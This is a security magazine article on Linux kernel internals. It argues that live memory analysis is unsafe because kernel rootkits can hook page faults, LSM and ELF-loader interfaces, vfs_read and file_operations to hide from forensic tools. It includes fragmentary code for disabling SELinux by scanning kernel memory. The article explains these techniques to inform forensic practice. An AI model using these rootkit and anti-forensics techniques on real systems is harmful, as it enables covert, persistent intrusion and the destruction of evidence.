RODRIGO RUBIRA BRANCO (BSDAEMON)
FILIPE ALCARDE BALESTRA

Kernel Hacking & Anti-forensics: Evading MemoryAnalysis

Difficulty

This article is intended to explain, why a forensic analysis in a live system may not be recommended and why the image of that system can trigger an advanced anti-forensic-capable rootkit.

Since, most of the operating systems have the same approach in this regard, most examples covered here in Linux can be applied to similar situations in other operating systems too.

An overview of the kernel internals and the structure and working of x86 architecture will also be given, along with the differences between other architectures.

Introduction

A lot of tools [5] have been developed to analyze a live system in order to detect an intrusion (like installed rootkits [7]).

This article tries to explain some presentations [8] that showed problems in this existent model, explaining the risks of this act and when can it be accepted.

Basics

The chosen architecture was Intel x86, where the same concepts are applied to other architectures as well(major modifications needed in architectures without MMU).

To better understand the following sections, some basic concepts are needed:

- CPL0 and it is importance
- System calls
- Structures analyzed to memory management
- Hook of functions and information flow

CPL0 and Its Importance

The Intel architecture has many levels of priority and the modern operating systems (*Linux/ Windows/MacOS*) are using that separation to provide protection and isolation of each process (so, a process cannot interfere in the execution of another one, neither in the execution of the operating system itself).

The operating system is executed in the CPL0 (also known as kernel-mode or `ring0`) because, in that mode any privileged operation is allowed (memory access, hardware management, and others).

In this article micro-kernel operating systems are being ignored to facilitate the learning process. It is important to understand that the user applications are running in CPL3 (user-mode or ring3).

System Calls

When an usermode software needs some privileged resources (for example, read diskdata) it executes a system call. This is a software interrupt that turns the system into kernelmode, executing the system call handler to answer that call and then return the control to the usermode program.

The way that system calls are handled is completely architecture-dependent. The common factor is that every implementation has similar structures, using different methods, using libraries and other resources. In the

WHAT YOU WILL LEARN...

With this article you will better understand how the a computer arquitecture works and is closely related to the operating systems, focusing in subvertion of the memory acquisition process.

Internal structures used to manage the memory, filesystem and others will be explained, using as sample the linux operating system, but trying to be generic enough to give a good idea of how it works in any platform.

WHAT YOU SHOULD KNOW

In order to completely understand this article the reader must know about the Linux Kernel basic programming (how to create modules, how the basic kernel programming works) and also some of assembly and C language.

Architecture internals will be well explained, but some computer science or engineering experience is required in order to have a real understanding of what is going on in the samples.

following we discuss about how this works in a x86 architecture (using int $0x80 instruction and the new way using sysenter).

We also discuss about, how the same can be implemented in the Power architecture, just to give a hint of the differences.

int $0x80

For better understanding, one needs to know that:

- A tool will execute a high-level function which will need a system call (for example, a function implemented in C to read a file data) – someone can implement that directly in assembly, so this step will be jumped over
    - The C library (in our sample) will convert the call in a system call in the following way:
    - Will put the system call number in the register EAX
    - The parameters are passed using the registers EBX, ECX and EDX (will use the stack if there is more parameters)
- Will call the int80, which is a software interruption responsible to pass the control to the kernel-mode (in the system call handler)
- The operating system during the boot process will register an interrupt table (IDT -interruption description table) and the interrupt handlers (functions that will be executed when a specific interruption is received). In that case, the int80 interruption will call the handler `system_call.` To locate where the IDT is in the memory there is the instruction sidt

  The system_call handler will verify the EAX register and will call the specific handler for that system call. This handler will be found in a vector called `sys_call_table[EAX]` (note: EAX value will be used as a index in that vector to determine the correct function)
- Next step is a call to the specific function to answer the system call
- Now, the function will execute what is needed (for example, copying data from user mode using `copy_from_`

Listing 1. *cat /proc/self/maps*

```
rbranco@rrbranco:~$ cat /proc/self/maps
08048000-0804c000  r-xp   00000000   03:06 652506        /bin/cat
0804c000-0804d000  rw-p   00003000   03:06 652506        /bin/cat
0804d000-0806e000  rw-p     0804d000   00:00 0           [heap]
a7e83000-a7e84000  rw-p     a7e83000   00:00 0
a7e84000-a7fcb000  r-xp   00000000   03:06 736624        /lib/i686/cmov/libc-2.7.so
a7fcb000-a7fcc000  r–p 00147000    03:06 736624    /lib/i686/cmov/libc-2.7.so
a7fcc000-a7fce000  rw-p   00148000   03:06 736624        /lib/i686/cmov/libc-2.7.so
a7fce000-a7fd1000  rw-p     a7fce000   00:00 0
a7fe2000-a7fe4000  rw-p     a7fe2000   00:00 0
a7fe4000-a8000000  r-xp   00000000   03:06 734302        /lib/ld-2.7.so
a8000000-a8002000  rw-p   0001b000   03:06 734302        /lib/ld-2.7.so
affeb000-b0000000  rw-p     affeb000   00:00 0           [stack]
ffffe000-fffff000      p     00000000   00:00 0           [vdso]
```

Listing 2. *ldd /bin/bash*

```
rbranco@rrbranco:~$ ldd /bin/bash
    linux-gate.so.1 =>  (0xffffe000)
    libncurses.so.5 => /lib/libncurses.so.5 (0xa7f90000)
    libdl.so.2 => /lib/i686/cmov/libdl.so.2 (0xa7f8c000)
    libc.so.6 => /lib/i686/cmov/libc.so.6 (0xa7e3e000)
    /lib/ld-linux.so.2 (0xa7fe4000)
```

Listing 3. *vsyscall memory dump*

```
rbranco@rrbranco:~$ dd if=/proc/self/mem of=rrbranco.dso bs=4096 skip=1048574 count=1
                       1+0 records in
                       1+0 records out
                       4096 bytes (4.1 kB) copied, 5e-05 seconds, 82 MB/s


rbranco@rrbranco:~$ objdump -d –start-address=0xffffe400 –stop-address=0xffffe414

rrbranco.dso rrbranco.dso:     file format elf32-i386

Disassembly of section .text:

ffffe400 <__kernel_vsyscall>:
                       ffffe400: 51 push   %ecx  -> Save %ecx in the stack
ffffe401:  52  push   %edx  -> Save %edx in the stack
ffffe402:  55  push   %ebp  -> Save %ebp in the stack
ffffe403:  89 e5  mov    %esp,%ebp  -> Save the %esp content in %ebp, permiting the
                       user-mo
ffffe405:  0f 34  sysenter  -> Execute the sysenter instruction
ffffe407:  90  nop
ffffe408:  90  nop
ffffe409:  90  nop
ffffe40a:  90  nop
ffffe40b:  90  nop
ffffe40c:  90  nop
ffffe40d:  90  nop
ffffe40e:  eb f3  jmp    ffffe403 <  kernel_vsyscall+0x3>
ffffe410:  5d  pop    %ebp
ffffe411:  5a  pop    %edx
ffffe412:  59  pop    %ecx
ffffe413:  c3  ret
```

Listing 4. *Anchored address*

```
. = 0xc00    –> The anchored address
SystemCall:
EXCEPTION_PROLOG
EXC_XFER_EE_LITE(0xc00, DoSyscall)
```

Listing 5. *cat /proc/self/map*

```
$ cat /proc/self/maps
08048000-0804c000 r-xp  00000000   03:06  652506      /bin/cat
0804c000-0804d000 rw-p  00003000   03:06  652506      /bin/cat
0804d000-0806e000 rw-p  0804d000   00:00  0   [heap]
a7ea6000-a7ea7000 rw-p  a7ea6000   00:00  0
a7ea7000-a7fce000 r-xp  00000000   03:06  700482      /lib/tls/i686/cmov/libc-
                        2.3.6.so
a7fce000-a7fd3000 r-p 00127000   03:06  700482 /lib/tls/i686/cmov/libc-2.3.6.so
a7fd3000-a7fd5000 rw-p  0012c000   03:06  700482      /lib/tls/i686/cmov/libc-
                        2.3.6.so
a7fd5000-a7fd8000 rw-p  a7fd5000   00:00  0
a7fe9000-a7feb000 rw-p  a7fe9000   00:00  0
a7feb000-a8000000 r-xp  00000000   03:06  733005      /lib/ld-2.3.6.so
a8000000-a8002000 rw-p  00014000   03:06  733005      /lib/ld-2.3.6.so
affeb000-b0000000 rw-p  affeb000   00:00  0   [stack]
ffffe000-fffff000 p  00000000   00:00  0   [vdso]
```

Listing 6. *vm_area_struct*

```
struct vm_area_struct {
struct mm_struct * vm_mm;        /* The address space we belong to.  */
                        unsigned long vm_start;              /* Our start
                        address within vm_mm. */
                        unsigned long vm_end;                /* The first byte
                        after our end address within vm_mm. */

/* linked list of VM areas per task, sorted by address */
struct vm_area_struct *vm_next;

pgprot_t vm_page_prot;        /* Access permissions of this VMA. */
unsigned long vm_flags;          /* Flags, listed below. */
}
```

Listing 7. *Change memory permission*

```
static int change_perm(unsigned *addr)
{
    struct page *pg;
    pgprot t_prot;

    pg = virt_to_page(addr);
    prot.pgprot = VM_READ | VM_WRITE | VM_EXEC;  /* R-W-X */

    change_page_attr(pg, 1, prot);
    global_flush_tlb() ;

    return 0;
}
```

Listing 8. *Execute code from kernel-mode*

```
static int execute(const char *string)
{

    if ((ret = call_usermodehelper(argv[0], argv, envp, 1)) != 0) {

    printk(KERN_ERR "Failed to run "%s": %i\n", string, ret);

    }

    return ret;

}
```

`user()` or to the user mode using `copy _ to _ user()`) and then will return the control to the application (There are some complications, like non-blocking system calls and others that will be ignored here)

vsyscalls (sysenter)

The Intel documentation (IA-32 Intel Architecture Software Developer's Manual, Volume 2: Instruction Set Reference) gives emphasis in the fact that instruction, together with sysexit, which has been created to optimize the transfer to the kernel-mode (and the return after that).

A lot of configuration values are set by the operating system in the MSRs (model-specific registers) for the sysenter instruction:

```
 -CS (SYSENTER_CS_MSR) -EIP
   (SYSEN-TER_EIP_MSR -SS
   (SYSENTER_CS_MSR + 8) -ESP
                   (SYSENTER_ESP_MSR
```

The sysexit instruction will transfer the control back to user-mode and defines the following registers:

```
-CS (SYSENTER_CS_MSR) -EIP
   (points to the value stored in EDX)
   -SS (SY-SENTER_CS_MSR + 24) -ESP
   (points to the value stored in ECX)
```

These MSRs are read and write with RDMSR and WRMSR instructions respectively, and are defined as:

```
 #define MSR_IA32_SYSENTER_CS 0x174
 #define MSR_IA32_SYSENTER_ESP 0x175
 #define MSR_IA32_SYSENTER_EIP 0x176
(In Linux it is defined in: asmmsr.h)
```

Linux kernel defines the TSS (*Task State Segment*) for the use of instructions in-out in the usermode (bitmap permissions check) and in the Intel architecture to pass from usermode to kernelmode the stack to be used by the kernelmode must be known.

So, Linux defines (in: `archi386kernel sysenter.c`):

```
wrmsr(MSR_IA32_SYSENTER_CS, __KER-NEL_
                  CS, 0); >
```

Pointing to the kernel segment wrmsr(`MSR _ IA32 _ SYSENTER _ ESP, tss->esp1, 0);` > Pointing to the kernel memory

`wrmsr(MSR _ IA32 _ SYSENTER _ EIP,` (unsigned long) `sysenter _ entry, 0);` > Pointing to the page defined as entry point to sysenter.

In fact, when a sysenter instruction is received, the system will start to use the kernel stack and to execute the `sysenter _ entry` function.

This page must be *attached* to the address space of all process in the system and Linux does that (In: `archi386kernelvsyscall-sysenter.S`), using a VDSO (*Virtual Dynamic Shared Object*).

To verify that in a system see Listing 1. In applications where shared libraries are used, the ldd command can also be used, see Listing 2.

To dump that memory area in order to verify what is in it, see Listing 3.

The `sysenter _ entry` (defined in: `archi386kernelentry.S`) will work in the same way as the `system _ call` handler showed before. Using the `%eax` value as an index for the `sys _ call _ table`, who holds the handlers addresses.

Power Architecture

In a Power architecture there is no IDT structure containing the interruption handlers addresses in memory. Instead, there are anchored interruptions to fixed address, or in other words, when an interruption occurs, the control will be *automagically* transferred to a specific memory location.

Note that, for example, time interruptions will go to the address 0x900 as can be seen in the Linux Kernel in `arch/ppc/kernel/head.S: EXCEPTION(0x900,` Decrementer, `timer _ interrupt, EXC _ XFER _ LITE)` where the decrementer is defined (in Power architectures the timer decrementer has the same clock speed as the processor, since it is internal in the processor), and other external interruptions are anchored to the address 0x500, and are answered in a similar way as the IDT in the Intel architecture.

Listing 9. *Creating socket from kernelmode*

```
/* create a socket */

if ( (err = sock_create(AF_INET, SOCK_DGRAM, IPPROTO_UDP, &kthread->sock)) < 0) {

    printk(KERN_INFO MODULE_NAME": Could not create a datagram socket, error = %d\n",
                      -ENXIO);

    goto out;
}


if ( (err = kthread->sock->ops->bind(kthread->sock, (struct sockaddr *)&kthread->addr,
                      sizeof(struct sockaddr))) < 0) {
    printk(KERN_INFO MODULE_NAME": Could not bind or connect to socket, error = %d\n",
                      -err);
    goto close_and_out;
}

/*main loop */
for (;;) {
    memset(&buf, 0, bufsize+1);
    size = ksocket receive(kthread->sock, &kthread->addr, buf, bufsize);
}
```

Listing 10. *LSM module*

```
int myinode_rename(struct inode *old_dir, struct dentry *old_dentry, struct inode
                      *new_dir, struct dentry *new_dentry)
{
    printk("\n dumb rename \n");
                          return 0;
}


static struct security_operations my_security_ops = {
.inode_rename = myinode_rename;
};
register_security (&my_security_ops);
```

Listing 11. *Load_binary interface*

```
int _load_binary (struct linux_binprm *linux_binprm, struct pt_regs *regs) {
    …
    // The regs parameter is not used by the md5verify for example
}

_elf_format = current->binfmt;
_elf_format->load_binary=&_load_binary;
```

Listing 12. *LSM interfaces*

```
int my_bprm_set_security (struct linux_binprm *bprm)
{
    return 0;
}


static struct security_operations my_security_ops = {
.bprm_set_security = my_bprm_set_security;
};

register_security (&my_security_ops);
```

The system call handlers are defined in arch/ppc/kernel/head.S as you can see in the Listing 4.

Structures Analyzed to Memory Management

Another important thing to be understood is the memory management process in Operating Systems. This article will only show what is needed for the scope.

In the Intel Architecture we have 4KB pages (actually, it may be more, depending of the system, but it is not important in this discussion). For a process, the memory is seen as a linear address, from 0 to 4GB (in 32 bits architectures).

All memory pages of a process are translated to physical pages using a page table specific for each process. There is also other information in that structure, like the page protection attributes (read-only, executable, writable).

That attributes could be easily modified if there is access to the operating system core.

A visible memory for the process are divided in two big portions, using a constant `TASK _ SIZE` (default as 0xc000000) to define the biggest address to be used (after that is the kernel protected memory). It is important to note that the kernel addresses are always the same for every process in the system.

The process memory itself is divided into sections (VMAs), which have protection attributes, for example: (see [9] for clarifications)

- `.text` > executable code
- `.rodata` > read-only data
- `.data` > writable data

To see that in a system, verify Listing 5.

Listing 13. *Controlling the system*

```
unsigned int find_unregister_security(void)
{
    char *p, *p2;
    int len = strlen("<6>%s: trying to unregister a");
    unsigned int straddr;
    p2 = p = (char *)0xc0100000;
    while (p < (p2 + (16 * 1024 * 1024)) && memcmp(p, "<6>%s:
                    trying to unregister a", len))
        p++;

    // no LSM support

    if (p >= (p2 + (16 * 1024 * 1024)) || memcmp(p, "<6>%s:
                    trying to unregister a", len))
        return 0;

    straddr = (unsigned int)p;
    P = p2;
    while (p < (p2 + (16 * 1024 * 1024)) && (*((unsigned int
                    *)p) != straddr))
        p++;

    if (*( (unsigned int *)p) == straddr)
        return (unsigned int)p;
    else
        return 0;

}


/* find string, then find the reference to it, then work
                    backwards to find a relative call to
                    selinux ctxid to string */

unsigned int find_selinux_ctxid_to_string(void)
{
    char *p, *p2;
    int len = strlen("audit_rate_limit=%d old=%d by auid=%u
                    subj=%s");
    unsigned int straddr;
    p2 = p = (char *)0xc0100000;
    while (p < (p2 + (16 * 1024 * 1024)) && memcmp(p,
                    "audit_rate_limit=%d old=%d by auid=%u
                    subj=%s", len))
        p++;

// no audit support

    if (p >= (p2 + (16 * 1024 * 1024)) || memcmp(p, "audit_
                    rate_limit=%d old=%d by auid=%u
                    subj=%s", len))
        return 0;

    straddr = (unsigned int)p;
    p = p2;
    while (p < (p2 + (16 * 1024 * 1024)) && (* ((unsigned int
                    *)p) != straddr))
        p++;

    if (p >= (p2 + (16 * 1024 * 1024)) || *((unsigned int *)p)
                    != straddr)
        return 0;

/* got string reference, now find call */

    while (p > p2 && (*p != '\xe8' || ((*((int *)(p+1))
                    + (unsigned int)(p+5)) < (unsigned
                    int)p2) || ((*((int *)(p+1)) + (unsigned
                    int)(p+5)) > (unsigned int)(p2 + (16 *
                    1024 * 1024)))))
        p—;

/* didn't find call, error */

    if (p <= p2)
        return 0;

/* convert relative address to target address */

    p = (char *) (* ( (int *) (p+1) ) + (unsigned int) (p+5) )
                    ;

    return (unsigned int)p;
}


void disable_selinux(void)
{
    char *unreg sec, *p;
    unsigned int *security_ops = NULL;
                        unsigned int dummy_secops = 0;
                        unsigned int *selinux_enable =
                    NULL;
```

The VMAs are internally controlled in a linked list to provide memory management for a process (including the permissions cited).

The structure has this format (removing unimportant elements for our discussion) – see Listing 6.

So, to change a protection someone can use the following privileged code (Listing 7).

Doing that, an attacker could, for example, modify some memory areas in a way it cannot be read, and if so, a page fault be generated (it is an easy way to monitor for memory dumps).

Handling Page-faults

To handle a page fault someone has to intercept the function (defined in: `arch/i386/mm/fault.c`) void `do _ page _ fault(struct pt _ regs *regs, unsigned long error _ code)` and knows:

- Get the accessed address that caused the page fault in `cr2`
- Get the address of the tool that caused the page fault in `regs>eip`
- Verify if someone is trying to read our protected area and are not from the rootkit address space

Hook of Functions and Information Flow

One of the main principles showed in this article are related to the hook of functions used by the security software (including forensics ones that will dump the system memory).

These hooks will permit total control over the returned values to this software, also the identification of those tools and, the starting of specific routines to clear all the evidences of an attack if the system is been audited.

This is possible because:

- We are assuming here that the attacker has complete access to the system (including privileges to modify the kernel). Just with user-mode access an attacker can get most of the results showed here, but we are assuming kernel-level privilege anyway
- The article is assuming that the forensic process, the dump or analysis of the system memory has been done using the original system (including the attacker modifications). That is the main point of this article: Showing that it is really dangerous to execute any procedures with the original system (online), including a simple memory dump.
- Anything running in the privileged mode (CPL0) will have total control over the system, and therefore will have the power to modify any attribute in the address space, including the handlers responsible by many functions of the Operating System. As already showed in [10] exception handlers are easy to be hooked, as in [11] one can know how to intercept interruptions.

Resources Provided by the Operating System Kernel

The Operating System Kernel has a lot of different resources that can be used in benefit of an attacker.

When someone is thinking about an anti-forensics system, it is really important to consider the knowledge level

Listing 14. *Signature of functions*

```
000000c5 <do_gettimeofday>:
  c5: 55              push    %ebp
  c6: 57              push    %edi
  c7: 56              push    %esi
  c8: 53              push    %ebx
  c9: 8b 7c 24 14          mov 0x14(%esp) , %edi
  cd: 8b 35 00 00 00 00    mov 0x0,%esi
  d3: a1 00 00 00 00       mov 0x0,%eax
  d8: ff 50 08             call    *0x8(%eax)
  db: 89 c1           mov %eax,%ecx
  dd: a1 00 00 00 00       mov 0x0,%eax
  e2: 2b 05 00 00 00 00    sub 0x0,%eax
  e8: 83 3d 00 00 00 00 00  cmpl  $0x0,0x0
  ef: 79 19           jns 10a <do_gettimeofday+0x45>
  f1: ba e8 03 00 00       mov $0x3e8,%edx
  f6: 2b 15 00 00 00 00    sub 0x0,%edx
  fc: 39 d1           cmp %edx,%ecx
  fe: 0f 47              ca  cmova   %edx,%ecx
 101: 85 c0           test    %eax,%eax
 103: 74 11           je  116 <do_gettimeofday+0x51>
 105: 0f af c2             imul    %edx,%eax
 108: eb 0a           jmp 114 <do_gettimeofday+0x4f>
 10a: 85 c0           test    %eax,%eax
 10c: 74 08           je  116 <do_gettimeofday+0x51>
 10e: 69 c0 e8 03 00 00    imul    $0x3e8,%eax,%eax
 114: 01 c1           add %eax,%ecx
 116: a1 04 00 00 00       mov 0x4,%eax
 11b: ba e8 03 00 00       mov $0x3e8,%edx
 120: 89 d5           mov %edx,%ebp
 122: 8b 1d 00 00 00 00    mov 0x0,%ebx
 128: 99              cltd
 129: f7 fd           idiv    %ebp
 12b: 8d 14 01             lea (%ecx,%eax,1),%edx
 12e: 89 f0           mov %esi,%eax
 130: 33 35 00 00 00 00    xor 0x0,%esi
 136: 83 e0 01             and $0x1,%eax
 139: 09 f0           or  %esi,%eax
 13b: 74 09           je  146 <do_gettimeofday+0x81>
 13d: eb 8e           jmp cd <do_gettimeofday+0x8>
 13f: 81 ea 40 42 0f 00    sub $0xf4240,%edx
 145: 43              inc %ebx
 146: 81 fa 3f 42 0f 00    cmp $0xf423f,%edx
 14c: 77 f1           ja  13f <do_gettimeofday+0x7a>
 14e: 89 1f           mov %ebx,(%edi)
 150: 89 57 04             mov %edx,0x4(%edi)
 153: 5b              pop %ebx
 154: 5e              pop %esi
 155: 5f              pop %edi
 156: 5d              pop %ebp
 157: c3              ret
```

of the attacker (if the system have been compromised using a 0day attack or a publicly know vulnerability + exploit) and how deep the system compromise is.

Here, I will show some things that are provided by the operating system which will help the attacker. Command execution inside the kernel-mode – Listing 8 (call_usermodehelper replaces the exec_usermodehelper showed in the phrack article [25]). You can see the socket creation procedure in Listing 9 (see also [26] for a complete UDP Client/Server in kernel mode).

On the 'Net

- [1] Halderman, Alex and others. *Lest we remember: Cold boot attacks on encryption keys*; 2008. *http://citp.princeton.edu. nyud.net/pub/coldboot.pdf.* Last access in: 04/02/2008.
- [2] Rutkowska, Joanna. *Bluepill Project*; 2007. *http://www.bluepillproject.org.* Last access in: 04/02/2008.
- [3] Branco, Rodrigo Rubira and others. *System Management Mode Hack: Using SMM for "Other Purposes"*; 2008. *http://www.phrack. org/issues .html?issue=65.* Last access in: 04/15/2008
- [4] scythale. *Hacking deeper in the system*; 2007. *http://www.phrack.org/issues.html?issue=64&id=12#article.* Last access in: 04/02/2008.
- [5] Murilo, Nelson. *Chkrootkit*; 1995. *http://www.chkrootkit.org.* Last access in: 18/01/08.
- [6] Diversos. *Diversas referęncias ao chkrootkit. http://www.chkrootkit.org/books/.* Last access in: 18/01/08.
- [7] Anônimo. *Wikipedia -Rootkits. http://en.wikipedia.org/ wiki/Rootkit.* Last access in: 18/01/08.
- [8] Branco, Rodrigo Rubira. *Backdoors x Firewalls de Aplicação*; Hackers 2 Hackers Conference II; 2005. *http://www.kernelhacking. com/rodrigo/docs/Palestra_AppBackdoor.pdf.* Last access in: 18/01/08. Montanaro, Domingo; Branco, Rodrigo Rubira. *The computer forensics challenge and antiforensics techniques*; Hack in The Box Conference; 2007. *http://www.kernelhacking.com/rodrigo/docs/Malaysia.pdf.* Last access in: 18/01/08.
- [9] Gorman, Mel. *Understanding the Linux Virtual Memory Manager*; 2004.
- [10] buffer, antifork. *Hijacking linux page fault handler*; Phrack Magazine 61. *http://www.phrack.org/ issues.html?issue=61&id=7.* Last access in: 18/01/08.
- [11] devik; sd. *Linux onthefly kernel patching without LKM*; Phrack Magazine 58. *http://www.phrack.org/issues. html?issue=5 8&id=7#article.* Last access in: 18/01/08.
- [12] Branco, Rodrigo Rubira. *Kernel Intrusion Detection System*; Defcon Conference; 2006. *http://www.kernelhacking.com/ rodrigo/defcon/Defcon.pdf.* Last access in: 18/01/08.
- [13] Smalley, Stephen; Chris, Vance; Salamon, Wayne. *Implementing SELinux as a Linux Security Module*; 2001. *http://www.nsa . gov/ selinux/papers/module.pdf.* Last access in: 18/01/08.
- [14] Johnson, Richard; Branco, Rodrigo Rubira. *Md5verify*; 2004. *http://www.kernelhacking. com/rodrigo/defcon/ md5verif y. tar. gz.* Last access in: 18/01/08.
- [15] Johnson, Richard. *Hooking the Linux ELF Loader*; Toorcon Conference; 2004. *http://labs.idefense.com/files/ 1abs/speaking/hooking_the\ _linux_ELF_loader.pdf.* Last access in: 18/01/08.
- [16] Spengler, Brad. *On exploiting null ptr derefs, disabling SELinux, and silently fixed Linux vulns*; Dailydave List; 2007. *http://grsecurity.net/ ˜spender/exploit. tgz.* Last access in: 18/01/08.
- [17] Lawless, Timothy; Branco, Rodrigo Rubira. *StMichael*; 2000. *http://sourceforge.net/pro jects/st jude.* Last access in: 18/01/08.
- [18] Duflot, Loic. *Security Issues Related to Pentium System Management Mode*; CanSecWest Conference; 2006. *http://www.cansecwest.com/ slides06/csw06-duflot.ppt.* Last access in: 18/01/08.
- [19] ERESI Team. *The Kernel Shell: Kernsh; 2001. http://http://www.eresi-project.org/ kernsh.html.* Last access in: 18/01/08.
- [20] Dark Angel. *MoodNT*; 2006. *http://darkangel.antifork. org/codes/mood-nt.tgz.* Last access in: 18/01/08.
- [21] Ecryptfs: *http://ecryptfs.sourceforge.net*
- [22] Microsoft Bitlocker: *http://www.microsoft.com/ windows/products/ windowsvista/ features/ details/bitlocker.mspx*
- [23] TrueCrypt: *http://www.truecrypt.org*
- [24] Gutmann, Peter. *Data Remanence in Semiconductor Devices*; Usenix; 2001. *http://www.cypherpunks.to/ ˜peter/usenix01 .pdf.* Last access in: 18/01/08.
- [25] Stealth. *Kernel Rootkit Experiences*; Phrack Magazine 61. *http://www.phrack.org/issues. html?issue=61&id=14#article.* Last access in: 18/01/08.
- [26] Topi; Branco, Rodrigo Rubira. *Kernel UDP Client/Server*; 2006. *http://www.kernelnewbies.org/Simple_UDP_Server.* Last access in: 18/01/08.

Using Security Features to Subvert the Operating System

As already released by the author in [12], the security resources used by the Operating Systems with the intention of provide extensibility to the implementation can also be used by malicious code.

For example, let's take the Linux Framework LSM (*Linux Security Modules*) [13], which offers a lot of structures to permit an easy control of some tasks in the Operating System. One fragment of a LSM module is following in the Listing 10.

At the first spot we can see it is really used by a rootkit. As showed in [12] someone can also intercept the command execution in the system (used by many tools, like md5verify [14])- Listing 11. As explained in [15] the intention of this interception is to control the binary execution, granting the integrity of those binaries. The same code can be used by an attacker to control the execution of some softwares.

The security interfaces provided by the LSM also provides in a generic way this kind of control of every executable binary in the system – Listing 12.

Attacking security systems

It is already widely known that if a kernel-mode flaw exists, all security resources can be disabled [16] giving total control over the system – Listing 13.

In that code, there is a pattern in the security subsystem that can be easily located, as the messages used by the system are in plain text in the memory (a good approach could be cipher this messages with a session key [17]).

The idea of that code was just show it is possible, not do everything that can be done. As can be seen, all security modules have been disabled in runtime just pointing the `security _ ops` structure to the `dummy _ secops`. An attacker can also redirect all LSM (Linux security modules) to his own structure, permitting an installation of a rootkit together with the exploration of the system, in a simple and clean way.

Hooking Non-exported Functions

Many portions of an Operating System can be modified by an attacker to permit control over it. Most current public rootkits are using well-documented techniques and are hooking exported interfaces.

In the real world, when someone has kernel access it is possible to manipulate anything in order to grant access to the system.

Memory code analysis can be seen in more advanced attacks, where it is required to deactivate security systems in kernel before the privilege elevation of some application [16] [18].

There are many ways for a malicious code to continuously run inside the kernel. One can just create some kernel threads as showed, or just understand the attacked system.

For example, imagine a database executing in a compromised system. It will call the gettimeofday system call multiple times, to grant the timestamp of the operations. An arbitrary code that intercepts this function (`do _ gettimeofday()`) will be executed many times in this system:

# objdump d `arch/i386/kernel/time.o` time.o: file format `elf32i386`

Disassembly of section text can be seen in Listing 14.

This kind of technique are being instrumented [19] and used [20], showing it can be effective and applied between different versions of the operating system, using signatures of functions not widely modified or constant portions of those functions.

Blocking Devices (Read of Memory and Disk)

We all know that most tools used to dump memory and disk runs as user-mode applications.

All the ideas shown in this article could be easily used to conclude that a code running inside the kernel can intercept many different functions to control

Listing15. *Struct file_operations*

```
struct file_operations {

    struct module *owner;
    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *) ;
    ssize_t (*aio_read) (struct kiocb *, char __user *, size_t, loff_t);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *) ;
    ssize_t (*aio_write) (struct kiocb *, const char __user *, size_t, loff_t);
    int (*readdir) (struct file *, void *, filldir_t);
    unsigned int (*poll) (struct file *, struct poll_table_struct *);
    int (*ioctl)  (struct inode *, struct file *, unsigned int, unsigned long);
    long (*unlocked    _ioctl) (struct file *, unsigned int, unsigned long);
    long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
    int (*mmap) (struct file *, struct vm_area_struct *);
    int (*open) (struct inode *, struct file *);
    int (*flush) (struct file *);
    int (*release) (struct inode *, struct file *);
    int (*fsync) (struct file *, struct dentry *, int datasync);
    int (*aio_fsync) (struct kiocb *, int datasync);
    int (*fasync) (int, struct file *, int);
    int (*lock) (struct file *, int, struct file_lock *);
    ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff
                     t *);
    ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff
                     t *);
    ssize_t (*sendfile) (struct file *, loff_t *, size_t, read_actor_t, void *);
    ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
    unsigned long (*get_unmapped_area) (struct file *, unsigned long, unsigned long,
                     unsigned long, unsigned long);
    int (*check_flags) (int);
    int (*dir_notify) (struct file *filp, unsigned long arg);
    int (*flock) (struct file *, int, struct file_lock *);

};
```

reads in devices, or to subvert the read values. A rootkit with real anti-forensics capabilities canremove all evidences when detecting an analysis is being done on a compromised system, making the work of the auditor harder.

Let's analyze how the system reads a device (if it is the memory, we are talking about the `/dev/{k}`mem device and if it's the disk we are talking about the block devices, for example `/dev/hda`).

The entry point used in this case is the system call `sys _ read` (defined in `fs/read _ write.c`). It is also needed for the rootkit to control the mmap of these devices.

In this case the function `fget _ light` (defined in `fs/file _ table.c`) returns the file structure of the descriptor (defined in `include/linux/fs.h`). And the function `file _ pos _ read` (defined in `fs/read _ write.c`) will return the specific position, which can be manipulated, forcing the read of a different position and thus, protecting the malicious code. The file structure showed here has been resumed to just two elements of interest, as demonstrated, the `f _ pos` is the position to be read.

The second element is a pointer to a structure file_operations (defined in `include/linux/fs.h`), Listing 15.

This structure is used by the function vfs_read (defined in `fs/read _ write.c`), Listing16.

The code contains: if (`file>f _ op>read`)

Basically, what is going is that the function `vfs _ read` is a wrapper to the specific implemented function, which can be manipulated subverting the pointer in the structure `file _ operations` of the protected device (protected by the rootkit). This is a real-time change, so it is really difficult to detect. There is more elements in that structure that can be manipulated, for example, the `mmap`.

Listing 16. *vfs_read*

```
ssize_t vfs_read(struct file *file, char user *buf, size_t count, loff_t *pos)
{

    ssize_t ret;

    if ( !(file->f_mode & FMODE_READ))
        return -EBADF;

    if (!file->f_op || (!file->f_op->read && !file->f_op->aio_read))
        return -EINVAL;

    if (unlikely(!access_ok(VERIFY_WRITE, buf, count)))
        return -EFAULT;

    ret = rw_verify_area (READ, file, pos, count);
    if (ret >= 0)
    {
        count = ret;
        ret = security_file_permission (file, MAY_READ);
        if (!ret)
        {
            if (file->f_op->read)
                ret = file->f_op->read(file, buf, count, pos);
            else
                ret = do_sync_read(file, buf, count, pos);
            if (ret > 0)
            {
                fsnotify_access(file->f_dentry);
                current->rchar += ret;
            }
            current->syscr++;
        }
    }

    return ret;
}
```

Online Memory Dump

When an auditor has a completely hostile environment, (for example, when the audited machine is owned by a criminal) it is well known that the memory of the system can be really important (mainly because there is lots of encrypted filesystems [21] [22] [23]).

In these cases, it is really important to consider if we can shutdown the machine and recovery the RAM contents by other ways [24].

Care must be taken in those situations [?]: *We can also consider making a dump of each process, as does the software Process Dumper developed by Ilo [7]. Furthermore, it provides the feature to execute a saved process again.*

Process Dumper attaches itself to a process with the system call ptrace and dumps the segments PT_LOAD of an executable in memory (more precisely, the code and data sections). Then, it makes some modifications of the GOT table if we want to run dynamically compiled binary.

In this case, the rootkit could detect the ptrace in an evil process and easily detect the forensic analysis.

Conclusion

Rootkits are evolving. They utilize many new techniques and and insert code in many different portions of the system, including hardware features [4] [3] [2] [1].

Rodrigo Rubira Branco
